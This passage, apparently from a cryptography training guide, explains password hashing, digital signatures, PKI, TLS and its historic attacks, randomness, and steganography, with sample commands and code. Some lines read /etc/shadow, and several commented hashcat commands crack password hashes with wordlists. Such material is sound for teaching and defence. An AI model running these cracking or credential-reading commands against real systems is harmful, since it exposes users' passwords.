  MD5("123456")    = "e10adc3949ba59abbe56e057f20f883e"
  MD5("admin")     = "21232f297a57a5a743894a0e4a801fc3"

  Breach database → look up hash in precomputed table → plaintext in milliseconds
  No computation needed — just lookup

  Countermeasure: Salt (makes precomputation impossible)

Attack 2 — Dictionary Attack:
  Hash common passwords and compare to stolen hashes
  For each candidate password: compute hash → compare
  GPU can compute billions of SHA-256 hashes per second

  Countermeasure: Slow hash functions (bcrypt, scrypt, Argon2)

7.2 Salt

A salt is a random value unique to each password, added before hashing.

WITHOUT SALT:
  User A: password "letmein" → SHA-256 → "b3fba..."
  User B: password "letmein" → SHA-256 → "b3fba..."

  Same password → same hash
  Attacker sees: User A and B have same hash → same password
  Crack one → crack both
  Rainbow table works: "b3fba..." → "letmein"

WITH SALT:
  User A: password "letmein" + salt "xK7mP2" → SHA-256 → "a1b2c3..."
  User B: password "letmein" + salt "9qRnL5" → SHA-256 → "z9y8x7..."

  Same password → DIFFERENT hashes (different salts)
  Attacker must crack each hash independently
  Rainbow tables are useless (different salt = different table needed per user)

  Salt must be:
  - Random (generated with CSPRNG)
  - Unique per password (even same user resetting password gets new salt)
  - Stored alongside the hash (not secret — attacker who gets DB gets salt too)
    But that's OK — salt defeats rainbow tables even when known
  - Long enough: 16+ bytes (128+ bits)

bcrypt (Blowfish-based, 1999):
  Incorporates salt automatically
  Output format: $2b$12$SALT22CHARS.HASH31CHARS
    $2b$ = bcrypt version
    12   = cost factor (2^12 rounds = 4096 iterations)
    next 22 chars = salt (128 bits)
    last 31 chars = hash

  Cost factor: controls speed (and therefore brute-force resistance)
  Higher cost = slower hash = more resistant to brute force
  Recommendation: choose cost factor so hashing takes 100-300ms
  Increase cost factor over time as hardware gets faster

Argon2 (Password Hashing Competition winner, 2015):
  Three variants:
  Argon2d: data-dependent, resists GPU cracking
  Argon2i: data-independent, resists side-channel attacks
  Argon2id: hybrid, RECOMMENDED for passwords

  Parameters: time cost, memory cost, parallelism
  Memory cost: makes hardware attacks (ASIC/GPU) expensive
  Argon2id(time=3, memory=64MB, parallel=4) recommended by OWASP (2024)

7.3 Pepper

A pepper is an additional secret value added to passwords before hashing, stored separately from the database (in application code, HSM, or configuration).

WITH SALT + PEPPER:
  password + salt + pepper → hash

  Storage:
  Database: salt + hash (attacker who breaches DB gets these)
  Application/HSM: pepper (attacker who only breaches DB doesn't have this)

  Even with: stolen database + knowing salt + knowing algorithm
  Attacker cannot crack without pepper
  Must also breach application server or HSM

  Pepper requirements:
  - HIGH entropy (256 bits random)
  - Different from the salt
  - Stored separately from the database (application config, HSM)
  - Never logged or exposed in error messages
  - Rotate with re-hashing (requires all users to re-authenticate)

Limitations:
  If attacker compromises BOTH database AND application server: both salt and pepper available
  Pepper is only effective if the attacker has access to ONE but not both

Combined: salt + pepper + slow hash (Argon2id or bcrypt) is the current gold standard

# Password hashing in practice:

# bcrypt in Python:
python3 << 'EOF'
import bcrypt
import time

password = b"UserPassword123!"
pepper = b"AppSecretPepper256BitRandom"  # Store in app config, not DB

# Hash (bcrypt handles salt automatically)
peppered = password + pepper
start = time.time()
hashed = bcrypt.hashpw(peppered, bcrypt.gensalt(rounds=12))
elapsed = time.time() - start
print(f"bcrypt hash: {hashed.decode()}")
print(f"Time to hash: {elapsed:.3f}s (should be ~100-300ms)")

# Verify:
is_valid = bcrypt.checkpw(peppered, hashed)
print(f"Password valid: {is_valid}")

# Wrong password:
wrong = b"WrongPassword" + pepper
is_valid = bcrypt.checkpw(wrong, hashed)
print(f"Wrong password valid: {is_valid}")  # False
EOF

# Argon2id in Python:
python3 << 'EOF'
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

# OWASP recommended parameters
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4, hash_len=32, salt_len=16)
# time_cost=3: 3 iterations
# memory_cost=65536: 64MB RAM (makes GPU/ASIC attacks expensive)
# parallelism=4: use 4 threads

password = "UserPassword123!"
pepper = "AppSecretPepper"

hash_val = ph.hash(password + pepper)
print(f"Argon2id hash: {hash_val[:50]}...")

# Verify:
try:
    ph.verify(hash_val, password + pepper)
    print("Password valid")
except VerifyMismatchError:
    print("Password invalid")
EOF

# Check what hash algorithm is used in /etc/shadow:
sudo cat /etc/shadow | head -3 | cut -d: -f2 | cut -c1-5
# $6$ = SHA-512 (acceptable for system use)
# $5$ = SHA-256
# $y$ = yescrypt (best, modern Linux default)
# $2b$ = bcrypt
# Blank or no $ = no password (check immediately!)

# Crack example hashes to understand speed difference:
# hashcat -m 0 hash.txt wordlist.txt        # MD5: billions/sec
# hashcat -m 3200 hash.txt wordlist.txt     # bcrypt: thousands/sec
# hashcat -m 1800 hash.txt wordlist.txt     # SHA-512crypt: millions/sec
# Speed difference: MD5 = 1,000,000× faster than bcrypt
# This is exactly why bcrypt for passwords matters

Key Insight: Password storage security is not about using "a hash" — it is about using a purpose-built, slow password hashing function (Argon2id or bcrypt) with a random unique salt. SHA-256(password) is not password storage — it is broken password storage. The goal is to make brute forcing so slow that even a database breach yields no crackable passwords within an attacker's operational window.

8. Digital Signatures

8.1 What Digital Signatures Provide

A digital signature provides three guarantees simultaneously:

Authentication: The message came from the claimed sender (they have the private key)
Integrity: The message has not been modified since signing
Non-repudiation: The sender cannot deny having sent it (only they have the private key)

Digital Signature Process:

SIGNING (sender with private key):
  Message M → Hash(M) → Sign with Private Key → Signature S
  Send: (M, S)

VERIFICATION (receiver with public key):
  Receive: (M, S)
  Compute: Hash(M) → H1
  Decrypt: S with Public Key → H2
  Verify:  H1 == H2?
    YES: signature valid (M not tampered, came from key holder)
    NO:  signature invalid (M modified, or wrong signer)

Why hash first?
  RSA can only sign data ≤ key size (2048 bits)
  Hash reduces any-size message to fixed output (256 bits for SHA-256)
  Sign the hash, not the message

  RSA-PSS (Probabilistic Signature Scheme) — correct:
  Uses random salt, provably secure, RECOMMENDED

  RSA-PKCS1v15 — legacy:
  Deterministic, older vulnerabilities, still widely used but avoid for new systems

  ECDSA (Elliptic Curve Digital Signature Algorithm):
  Based on ECC discrete log problem
  256-bit signature (much shorter than RSA-2048's 256-byte signature)
  Requires cryptographically random k value per signature

  Critical ECDSA vulnerability: k reuse
  If same k used twice with different messages:
  Private key can be recovered algebraically

  2010: PlayStation 3 used constant k in ECDSA → private key recovered
  2013: Android Bitcoin wallet ECDSA k reuse → keys stolen

8.2 Code Signing

Code Signing: applying digital signatures to software to verify authenticity

Windows Authenticode:
  Developer signs executable with private key (from certificate authority)
  Windows verifies signature before execution (if policy enforced)
  "Published by: Microsoft Corporation" with valid chain → trusted
  Self-signed → warning
  No signature → warning or block

  Attack: steal code signing certificate and private key
  Example: Stuxnet used stolen certificates from Realtek and JMicron
           to sign kernel drivers → bypassed Windows driver signing requirement

Linux Package Signing:
  Debian/Ubuntu: GPG signatures on packages + repository metadata
  RPM: GPG signatures on packages
  apt: verifies package signatures automatically

  Verify GPG signature:
  gpg --verify file.sig file

Certificate Transparency (CT):
  All publicly trusted TLS certificates must be logged to CT logs
  Allows monitoring for unexpected certificates for your domains
  Tools: crt.sh, certspotter, Google CT

SSH Host Key Verification:
  SSH server presents public key fingerprint
  Client verifies against known_hosts
  First connection: TOFU (Trust On First Use) — user must verify

# Digital signatures in practice:

# Sign a file with private key:
openssl dgst -sha256 -sign private.pem -out signature.bin document.txt

# Verify signature:
openssl dgst -sha256 -verify public.pem -signature signature.bin document.txt
# "Verified OK" = authentic and unmodified

# Sign with GPG:
gpg --gen-key                                    # Generate GPG key pair
gpg --sign --armor document.txt                  # Sign (creates document.txt.asc)
gpg --verify document.txt.asc document.txt       # Verify signature

# Python - sign and verify:
python3 << 'EOF'
from cryptography.hazmat.primitives.asymmetric import ec, utils
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.exceptions import InvalidSignature

# Generate EC key pair (P-256)
private_key = ec.generate_private_key(ec.SECP256R1())
public_key = private_key.public_key()

# Sign message
message = b"This document is authentic"
signature = private_key.sign(message, ec.ECDSA(hashes.SHA256()))
print(f"Signature: {signature.hex()[:40]}... ({len(signature)} bytes)")

# Verify - original message:
try:
    public_key.verify(signature, message, ec.ECDSA(hashes.SHA256()))
    print("Signature VALID")
except InvalidSignature:
    print("Signature INVALID")

# Verify - tampered message:
tampered = b"This document is authentic and has extra admin=true"
try:
    public_key.verify(signature, tampered, ec.ECDSA(hashes.SHA256()))
    print("Tampered signature VALID")  # Should never reach here
except InvalidSignature:
    print("Tampered message: Signature INVALID — tampering detected!")
EOF

# Check certificate signature:
openssl s_client -connect google.com:443 2>/dev/null | \
    openssl x509 -noout -text | grep -A3 "Signature Algorithm"

9. PKI — Public Key Infrastructure

9.1 The Problem PKI Solves

Asymmetric cryptography lets us encrypt to anyone with their public key. But how do you know that the public key claiming to be "google.com" actually belongs to Google and not an attacker?

PKI (Public Key Infrastructure) is the system of trust, policies, procedures, and technologies that manages digital certificates, binding public keys to verified identities.

The Man-in-the-Middle Problem:

Without PKI:
  Alice wants to connect to "bank.com"
  Attacker intercepts connection:
  Alice ←→ Attacker ←→ Bank
  Attacker sends own public key to Alice, claiming to be Bank
  Alice encrypts with attacker's key
  Attacker decrypts, re-encrypts with bank's real key
  Alice has no way to know she's talking to the attacker

With PKI:
  Bank has a certificate signed by a trusted Certificate Authority (CA)
  Certificate contains: Bank's public key + domain name + CA signature
  Alice's browser trusts the CA (comes pre-installed)
  Browser verifies: CA signature is valid → this public key belongs to bank.com
  Attacker cannot forge this — doesn't have CA's private key

9.2 Certificate Structure (X.509)

X.509 Certificate Fields:

Version:             3 (v3 is current)
Serial Number:       Unique identifier assigned by CA
Signature Algorithm: sha256WithRSAEncryption or ecdsa-with-SHA256
Issuer:              CA that signed this certificate
                     CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1
Validity:
  Not Before:        2024-01-01 00:00:00 UTC
  Not After:         2025-01-31 23:59:59 UTC
Subject:             Who this certificate belongs to
                     CN=*.google.com, O=Google LLC, C=US
Subject Public Key:  The actual public key (RSA or EC)
                     RSA 2048-bit or ECC P-256
Extensions:
  Subject Alternative Names (SANs): All domains covered
    DNS:*.google.com
    DNS:google.com
  Key Usage: Digital Signature, Key Encipherment
  Extended Key Usage: TLS Web Server Authentication
  Certificate Policies: https://pki.goog/repository/
  CRL Distribution Points: URL to check if certificate is revoked
  OCSP: URL for real-time revocation checking
  Certificate Transparency: SCT list (proof of CT log inclusion)
Signature: CA's signature over all of the above

9.3 Certificate Chain of Trust

PKI Trust Hierarchy:

Root CA (self-signed, highest trust)
  └── Intermediate CA (signed by Root CA)
        └── End-Entity Certificate (signed by Intermediate CA)
            (the certificate for google.com, for example)

Root CA:
  Stored in OS/browser trust stores (pre-installed)
  ~150 trusted root CAs in major browsers
  Private key extremely protected (offline, HSM, physical vault)
  Very rarely used directly (too valuable to risk)

Intermediate CA:
  Signed by root CA, issues end-entity certificates
  Private key stored in HSM (Hardware Security Module)
  If compromised: can be revoked without compromising root

End-Entity Certificate:
  Issued to the specific organisation/domain
  Short-lived (1 year max since 2020 for public TLS)

Chain validation:
  Browser validates end-entity cert is signed by intermediate CA
  Validates intermediate CA is signed by root CA
  Validates root CA is in trusted store
  Validates none are expired or revoked
  Validates domain name matches (SAN check)

9.4 Certificate Revocation

What if a private key is compromised? Certificate must be revoked.

CRL (Certificate Revocation List):
  List of revoked serial numbers, signed by CA, published periodically
  Browsers download CRL and check if certificate serial number is in it
  Problem: CRL can be large, infrequent updates, check often skipped

OCSP (Online Certificate Status Protocol):
  Real-time revocation check — query CA's OCSP responder per certificate
  Faster than CRL, smaller response
  Problem: Privacy (CA knows which sites you visit), performance, failure mode

OCSP Stapling:
  Server periodically fetches its own OCSP response from CA
  Includes ("staples") the response in TLS handshake
  Browser gets revocation status without contacting CA
  Best approach: solves privacy and performance

Revocation in practice (sadly):
  Browser failure to get CRL/OCSP response → typically ALLOW connection
  "Soft fail" = revocation checking provides minimal real protection
  Exception: Certificate Pinning — browser refuses connection if pin mismatch

CAA DNS Records:
  DNS record specifying which CAs may issue certificates for your domain
  example.com CAA 0 issue "letsencrypt.org"
  Prevents misissued certificates from unauthorised CAs
  Check: dig CAA yourdomain.com

# PKI and certificate analysis:

# View a server's full certificate chain:
openssl s_client -connect google.com:443 -showcerts 2>/dev/null | \
    grep -E "BEGIN|END|subject|issuer|Not"

# Check certificate details:
openssl s_client -connect google.com:443 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Subject:|Issuer:|Not After|DNS:"

# Verify certificate chain:
openssl verify -CAfile /etc/ssl/certs/ca-certificates.crt certificate.pem

# Check OCSP status:
openssl s_client -connect google.com:443 -status 2>/dev/null | grep -A5 "OCSP"

# Check if certificate is about to expire (monitoring):
openssl s_client -connect target.com:443 2>/dev/null | \
    openssl x509 -noout -enddate | \
    awk -F= '{print $2}' | \
    xargs -I{} date -d "{}" +%s | \
    awk -v now=$(date +%s) '{days=($1-now)/86400; print "Expires in " int(days) " days"}'

# Monitor certificate changes (detect unexpected reissue):
openssl s_client -connect target.com:443 2>/dev/null | \
    openssl x509 -fingerprint -sha256 -noout
# Compare fingerprint over time — unexpected change = possible attack or cert rotation

# Certificate transparency monitoring (your domain):
curl -s "https://crt.sh/?q=yourdomain.com&output=json" | \
    python3 -c "
import json,sys
certs = json.load(sys.stdin)
for c in certs[:10]:
    print(c['not_before'][:10], c['name_value'], c['issuer_name'][:50])
"
# Review for unexpected certificates issued for your domain

# Generate self-signed certificate (for testing/internal use only):
openssl req -x509 -newkey rsa:4096 \
    -keyout private.pem \
    -out certificate.pem \
    -days 365 \
    -subj "/CN=localhost/O=Test/C=US" \
    -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"

10. SSL/TLS — How Secure Connections Work

10.1 SSL to TLS Evolution

Timeline:
  SSL 1.0 (Netscape, 1994): Never released (serious flaws found)
  SSL 2.0 (1995):           Released, flaws found quickly
  SSL 3.0 (1996):           Still broken (POODLE 2014 — CVE-2014-3566)
  TLS 1.0 (1999):           RFC 2246, BEAST vulnerability (CVE-2011-3389)
  TLS 1.1 (2006):           Fixed BEAST, still has issues
  TLS 1.2 (2008):           Current acceptable standard
  TLS 1.3 (2018):           Current best practice, significant redesign

Deprecated (should not be used):
  SSL 2.0, SSL 3.0: COMPLETELY BROKEN, disable everywhere
  TLS 1.0, TLS 1.1: Deprecated by RFC 8996 (2021)
                    Chrome/Firefox removed support 2020

  Current standard: TLS 1.2 minimum, TLS 1.3 preferred

10.2 What TLS Provides

TLS provides a secure channel with three properties:

1. Confidentiality: All application data encrypted
   (Before TLS: plaintext visible to any network observer)

2. Integrity: Data cannot be modified without detection
   (HMAC or AEAD authentication tags detect any tampering)

3. Authentication: Server (and optionally client) identity verified
   (Via certificate chain validation)

What TLS does NOT protect:
  - Metadata: IP addresses, TCP ports, timing, volume
  - Server-side application vulnerabilities
  - The DNS lookup that led to the connection
  - Traffic analysis (size and timing patterns)
  - Certificate validity (user must check/browser must validate)

TLS components:
  Record Protocol: Fragments, compresses (deprecated), encrypts, MACs application data
  Handshake Protocol: Negotiates cipher suite, authenticates server, establishes keys
  Alert Protocol: Signals errors and close notifications
  Change Cipher Spec: Signals switch to negotiated cipher (TLS 1.2 only)

10.3 TLS Cipher Suites

TLS 1.2 Cipher Suite naming (verbose):
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

  TLS:         Protocol
  ECDHE:       Key Exchange (Elliptic Curve Diffie-Hellman Ephemeral — forward secrecy)
  RSA:         Authentication (certificate type — RSA cert verifies server identity)
  WITH:        Separator
  AES_256_GCM: Symmetric cipher (AES 256-bit in GCM mode)
  SHA384:      HMAC algorithm for integrity (for PRF function in TLS 1.2)

Components:
  Key Exchange: ECDHE > DHE > RSA (RSA key exchange has no forward secrecy — avoid)
  Auth:         ECDSA > RSA (for certificates)
  Cipher:       AES-GCM > AES-CBC (GCM is authenticated, CBC requires separate MAC)
  PRF/HMAC:     SHA-384 > SHA-256 > MD5/SHA-1 (avoid weak hashes)

TLS 1.3 cipher suites (simplified, only 5 allowed):
  TLS_AES_128_GCM_SHA256         (default, fast)
  TLS_AES_256_GCM_SHA384         (high security)
  TLS_CHACHA20_POLY1305_SHA256   (mobile/embedded — faster without AES-NI)
  TLS_AES_128_CCM_SHA256         (constrained environments)
  TLS_AES_128_CCM_8_SHA256       (very constrained IoT)

  Note: TLS 1.3 separates authentication (certificate) from key exchange
        No more RSA key exchange — only ECDHE or DHE
        All TLS 1.3 cipher suites have forward secrecy by default

Weak cipher suites to detect and disable:
  *_NULL_*:    No encryption (plaintext)
  *_EXPORT_*:  40/56-bit keys (FREAK/Logjam attack)
  *_RC4_*:     RC4 stream cipher (broken since 2013)
  *_DES_*:     56-bit DES (trivially cracked)
  *_3DES_*:    112-bit 3DES (SWEET32, slow)
  *_MD5:       MD5 MAC (broken)
  *_SHA:       SHA-1 MAC (weakened)
  *RSA_WITH_*: RSA key exchange (no forward secrecy)
  *_ANON_*:    Anonymous (no authentication — trivial MITM)

11. TLS Handshake — Deep Dive

11.1 TLS 1.2 Handshake

TLS 1.2 Full Handshake:

Client                                         Server
  │                                               │
  │──── ClientHello ───────────────────────────→  │
  │  Version: TLS 1.2                             │
  │  Random: 32 bytes (includes timestamp)        │
  │  Session ID: (for resumption)                 │
  │  Cipher Suites: [list of supported]           │
  │  Extensions: SNI, ALPN, elliptic curves...    │
  │                                               │
  │ ←── ServerHello ─────────────────────────── │
  │  Version: TLS 1.2                             │
  │  Random: 32 bytes                             │
  │  Session ID: (new or resumed)                 │
  │  Cipher Suite: SELECTED ONE                   │
  │                                               │
  │ ←── Certificate ─────────────────────────── │
  │  Server's X.509 certificate(s)               │
  │  [Full chain: end-entity + intermediates]     │
  │                                               │
  │ ←── ServerKeyExchange (if ECDHE/DHE) ─────  │
  │  DH parameters + server's DH public value    │
  │  Signed with server's private key            │
  │                                               │
  │ ←── ServerHelloDone ─────────────────────── │
  │                                               │
  │ Client validates:                             │
  │   Certificate chain → trusted CA             │
  │   Server hostname matches SAN                │
  │   Not expired, not revoked                   │
  │   ServerKeyExchange signature valid          │
  │                                               │
  │──── ClientKeyExchange ──────────────────────→ │
  │  Client's DH public value                    │
  │                                               │
  │  [Both compute: Pre-Master Secret from DH]   │
  │  [Both derive: Master Secret]                │
  │  [Both derive: 4 session keys from MS]       │
  │    client_write_key, server_write_key        │
  │    client_write_MAC, server_write_MAC        │
  │                                               │
  │──── ChangeCipherSpec ───────────────────────→ │
  │  "I'll now use the negotiated cipher"        │
  │                                               │
  │──── Finished (encrypted) ───────────────────→ │
  │  HMAC of entire handshake transcript         │
  │  Verifies nothing was tampered during setup  │
  │                                               │
  │ ←── ChangeCipherSpec ─────────────────────── │
  │ ←── Finished (encrypted) ─────────────────── │
  │                                               │
  │ ════════ Application Data (encrypted) ═══════ │

Total round trips: 2-RTT (2 full round trips before data flows)
This latency matters — TLS 1.3 reduces to 1-RTT

11.2 TLS 1.3 Handshake

TLS 1.3 Handshake — Redesigned for speed and security:

Client                                         Server
  │                                               │
  │──── ClientHello ───────────────────────────→  │
  │  Version: TLS 1.3                             │
  │  Random: 32 bytes                             │
  │  Cipher Suites: [TLS 1.3 only suites]        │
  │  key_share: Client's ECDH public key          │
  │  (Client guesses server's preferred group)    │
  │  supported_versions: [TLS 1.3, TLS 1.2...]   │
  │  pre_shared_key: (for 0-RTT resumption)       │
  │                                               │
  │  [Server can now compute handshake key]       │
  │  [Server begins encrypting immediately]       │
  │                                               │
  │ ←── ServerHello ─────────────────────────── │
  │  Version: TLS 1.3                             │
  │  key_share: Server's ECDH public key          │
  │  (Both now compute shared secret)             │
  │                                               │
  │ ←── {Certificate} ────────────────────────── │ ← Encrypted!
  │ ←── {CertificateVerify} ──────────────────── │ ← Encrypted!
  │  Signature over entire handshake transcript  │
  │ ←── {Finished} ────────────────────────────── │ ← Encrypted!
  │                                               │
  │ Client validates certificate (encrypted)     │
  │                                               │
  │──── {Finished} ─────────────────────────────→ │
  │                                               │
  │ ════════ Application Data (encrypted) ═══════ │

Key improvements in TLS 1.3:
  1-RTT: Faster by one full round trip (vs TLS 1.2's 2-RTT)
  0-RTT: Session resumption can send data in the first message
         (Security tradeoff: 0-RTT data not forward secret, replay risk)

  No more:
    RSA key exchange (eliminated — only ECDHE/DHE)
    CBC cipher suites (GCM and ChaCha20 only)
    MD5, SHA-1 in MAC (SHA-256 minimum)
    DH with <2048-bit primes
    Export cipher suites
    Session renegotiation (was a security issue in TLS 1.2)
    Compression (CRIME attack)

  Certificate and CertificateVerify now encrypted:
    In TLS 1.2, certificate was sent in plaintext → server identity visible to observer
    In TLS 1.3, certificate encrypted → privacy improvement

  Encrypted ClientHello (ECH) — draft standard:
    Extends encryption to ClientHello (SNI currently plaintext)
    When standardised: server hostname hidden from observer

11.3 TLS Attack Landscape

BEAST (CVE-2011-3389):
  Target: TLS 1.0 CBC mode
  Method: Chosen-boundary attack against CBC's predictable IV
  Impact: Decrypt HTTPS session cookies
  Fix: Use TLS 1.2+ (fixed IV handling), use RC4 (now broken too), AES-GCM

CRIME (CVE-2012-4929):
  Target: TLS compression (DEFLATE)
  Method: Compression oracle — inject guesses, observe size change
  Impact: Recover HTTPS cookies
  Fix: Disable TLS compression (disabled by default in all modern implementations)

POODLE (CVE-2014-3566):
  Target: SSL 3.0 CBC mode
  Method: Padding oracle after downgrade to SSL 3.0
  Impact: Decrypt session cookies
  Fix: Disable SSL 3.0 entirely, use TLS 1.2+

Heartbleed (CVE-2014-0160):
  Target: OpenSSL heartbeat extension (TLS extension)
  Method: Missing bounds check — request more data than sent
  Impact: Up to 64KB of server memory per request
          Exposed: private keys, session tickets, passwords, other secrets
  Fix: Patch OpenSSL (1.0.1g), reissue all certificates, rotate secrets

FREAK (CVE-2015-0204):
  Target: Export cipher suites (forced by 90s US regulations)
  Method: Force server to use RSA-EXPORT (512-bit) → factor in hours
  Impact: Decrypt HTTPS connections to affected servers
  Fix: Disable all EXPORT cipher suites

Logjam (CVE-2015-4000):
  Target: DHE-EXPORT (512-bit DH parameters)
  Method: Precompute discrete logarithm table for 512-bit primes
          NSA-scale attack feasible against 1024-bit primes
  Impact: Passive decryption of many HTTPS+VPN connections
  Fix: Minimum 2048-bit DH parameters, use ECDHE instead

ROBOT (2017):
  Target: RSA PKCS#1v1.5 padding in TLS
  Method: Bleichenbacher's 1998 oracle attack resurrected
          Server's different error responses for valid vs invalid padding
  Impact: Decrypt RSA-encrypted TLS sessions (if no forward secrecy)
  Affected: F5, Citrix, Cisco, Palo Alto, Radware, many others
  Fix: Constant-time RSA decryption, use ECDHE (no RSA key exchange)

# TLS security testing:

# Test TLS configuration comprehensively:
# testssl.sh (most comprehensive):
bash testssl.sh target.com:443

# Quick checks:
nmap --script ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,ssl-dh-params \
    -p 443 target.com

# Check supported TLS versions:
for version in ssl2 ssl3 tls1 tls1_1 tls1_2 tls1_3; do
    if openssl s_client -connect target.com:443 -$version 2>/dev/null | \
            grep -q "CONNECTED"; then
        echo "$version: SUPPORTED"
    else
        echo "$version: NOT supported"
    fi
done

# Check certificate details and chain:
openssl s_client -connect target.com:443 -showcerts 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Not After|Signature Algorithm|Public-Key:"

# Decrypt TLS traffic (requires pre-master secret log):
export SSLKEYLOGFILE=/tmp/ssl_keys.log
curl https://target.com/api/data  # Keys logged
# Open in Wireshark: Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log

# Test HSTS:
curl -sI https://target.com | grep -i "strict-transport"
# max-age should be ≥31536000 (1 year)
# includeSubDomains recommended
# preload for browser preload list

# Certificate pinning test:
curl -sI --pinnedpubkey sha256//HASH= https://target.com
# If pinning correct: 200
# If wrong pin: SSL error

12. Cryptographic Randomness

12.1 Why Randomness Is Critical

Cryptography requires random numbers for key generation, IVs, salts, nonces, and ephemeral DH values. If these "random" values are predictable, the entire cryptographic system fails regardless of the strength of the algorithm.

What breaks when randomness is weak:

Key generation: Predictable private key → attacker knows your key without brute force
AES IV:         Predictable IV → pattern in ciphertext, BEAST-like attacks
ECDSA nonce:    Predictable k → private key recovery (PS3, Android Bitcoin wallet)
Salt:           Predictable salt → precomputed table attacks possible
Session tokens: Predictable tokens → session hijacking without authentication
VPN key:        Predictable key → full traffic decryption (DUHK attack 2017)

12.2 PRNG vs CSPRNG

PRNG (Pseudo-Random Number Generator):
  Deterministic algorithm that produces "random-looking" numbers
  Seeded with initial value
  Given seed: entire sequence is deterministic

  Examples: rand() in C, Math.random() in JavaScript
  Use for: simulation, games, non-security randomness
  NEVER use for: cryptographic keys, tokens, passwords, security

  Attack: if attacker knows seed (e.g., current timestamp), they can
          predict all "random" numbers → broken crypto

CSPRNG (Cryptographically Secure PRNG):
  Designed to be computationally infeasible to predict next output
  Even with knowledge of all previous output
  Forward secrecy: learning current state doesn't reveal past output
  Backward secrecy: predicting future output is infeasible

  Examples:
  Linux: /dev/urandom (modern Linux: uses CSPRNG, safe for all uses)
  Linux: /dev/random (legacy: blocks until entropy; /dev/urandom is preferred)
  Windows: CryptGenRandom, BCryptGenRandom
  OpenSSL: RAND_bytes()
  Python: os.urandom(), secrets module

/dev/random vs /dev/urandom (Linux):
  Myth: /dev/urandom is weaker than /dev/random
  Truth: Both use same CSPRNG kernel; /dev/random blocks unnecessarily
  Modern Linux (kernel 5.6+): both behave identically
  ALWAYS use: /dev/urandom or the secrets module
  NEVER block applications waiting for /dev/random

12.3 Entropy

Entropy in cryptography: measure of unpredictability (bits)

High entropy: 256-bit key from CSPRNG (truly unpredictable, 2^256 possibilities)
Low entropy:  256-bit key from timestamp (only milliseconds in a day)

Entropy sources (Linux kernel entropy pool):
  Hardware: CPU timing jitter, thermal noise, hardware RNG (RDRAND)
  Devices: Disk I/O timing, network packet arrival timing
  User: Keyboard/mouse timing
  Early boot: Low entropy problem (all sources above unavailable)

The "entropy starvation" problem:
  Embedded systems, VMs, and containers often lack entropy at boot

  Impact: If CSPRNG generates keys before sufficient entropy is collected:
          Keys may be predictable

  Real attack (2012): Heninger et al. analysed millions of RSA public keys
                      Found many shared factors (same primes in different keys)
                      Root cause: entropy-starved key generation at first boot
                      Multiple different devices generated the same "random" primes

  Solution:
  Hardware RNG: Intel RDRAND instruction (hardware true RNG)
  virtio-rng: Feed entropy to VMs from host
  haveged: Software entropy daemon
  rng-tools: Hardware RNG interface daemon

# Cryptographic randomness in practice:

# Generate secure random values:
openssl rand -hex 32                       # 32 bytes = 256-bit random key (hex)
openssl rand -base64 32                    # 32 bytes as base64
openssl rand -out keyfile.bin 32           # Write 32 random bytes to file

# Python — ALWAYS use secrets module for cryptographic randomness:
python3 << 'EOF'
import secrets, os

# Secure token for session IDs, CSRF tokens, etc:
token = secrets.token_hex(32)              # 64-char hex string (256 bits)
print(f"Secure token: {token}")

# Secure random bytes for key material:
key = secrets.token_bytes(32)              # 32 random bytes
print(f"Key (hex): {key.hex()}")

# os.urandom() is equivalent and always cryptographically secure:
key2 = os.urandom(32)
print(f"os.urandom key: {key2.hex()}")

# WRONG: Do not use random module for security:
import random
insecure = random.randbytes(32)
# This is NOT cryptographically secure — don't use for keys/tokens/salts
# random.randbytes looks secure but can be predicted if seed is known
EOF

# Check entropy on Linux:
cat /proc/sys/kernel/random/entropy_avail    # Current entropy bits available
cat /proc/sys/kernel/random/pool_size        # Entropy pool size

# Check hardware RNG availability:
cat /sys/devices/virtual/misc/hw_random/rng_available
ls /dev/hwrng                                # Hardware RNG device

# Install entropy daemon for servers/VMs:
sudo apt install haveged
sudo systemctl start haveged
cat /proc/sys/kernel/random/entropy_avail    # Should be much higher now

# Test PRNG quality (diehard/NIST tests):
openssl rand 1000000 > /tmp/random.bin
ent /tmp/random.bin                          # Entropy test (install: apt install ent)
# Entropy: should be close to 8.00 bits/byte
# Chi-square: should be within expected range
# Serial correlation: should be close to 0.00

Key Insight: Weak randomness is the silent killer of cryptographic systems. AES-256 with a predictable key provides no security. ECDSA with a repeated nonce loses the private key. Session tokens generated with timestamp seeds are trivially predictable. Always use CSPRNG (/dev/urandom, os.urandom(), secrets module) and never use general-purpose PRNGs (rand(), random.random()) for any security purpose.

13. Steganography

13.1 What Steganography Is

Steganography (Greek: "hidden writing") is the practice of concealing a message within another, non-secret, file or communication. Unlike cryptography, which makes content unreadable, steganography hides the existence of the message itself.

Steganography vs Cryptography:

Cryptography:
  "Hello World" → encrypted → "x7Kp2mQ9..." (obviously encrypted)
  Attacker knows: a secret message exists, cannot read it

Steganography:
  "Hello World" hidden inside a photo of a cat
  Attacker sees: a photo of a cat
  Attacker doesn't know: a secret message exists

Combined (crypto + stego):
  Encrypt "Hello World" → encrypt it → hide encrypted data in cat photo
  Even if stego is detected: encrypted content cannot be read
  This is what sophisticated threat actors and C2 channels use

13.2 Steganography Techniques

Image Steganography — LSB (Least Significant Bit):

  Each pixel in a 24-bit RGB image has: R(8 bits) G(8 bits) B(8 bits)
  Changing the least significant bit changes colour by 1/256 — visually imperceptible

  Original pixel: R=11010110, G=10010100, B=11100010
  Modified pixel: R=11010111, G=10010100, B=11100011
  (Changed LSB of R and B to embed 2 bits of hidden data)

  Capacity: 3 bits per pixel (one per RGB channel)
  24-bit 1920×1080 image: 1920×1080×3 = 6.2 million bits = ~750KB of hidden data

  Detection: Statistical analysis (chi-square test detects LSB pattern anomalies)
  Steganalysis tools: StegExpose, StegoSuite

Audio Steganography:
  Hide data in audio file LSBs (imperceptible to human hearing)
  Phase modification: hide in phase of audio signal
  Echo hiding: encode data in echo parameters

Network Steganography:
  ICMP payload: hide data in ping packet payload
  TCP timestamp: encode data in TCP timestamp option
  DNS: hide data in subdomain labels or response padding
  HTTP headers: hide in custom headers or timing

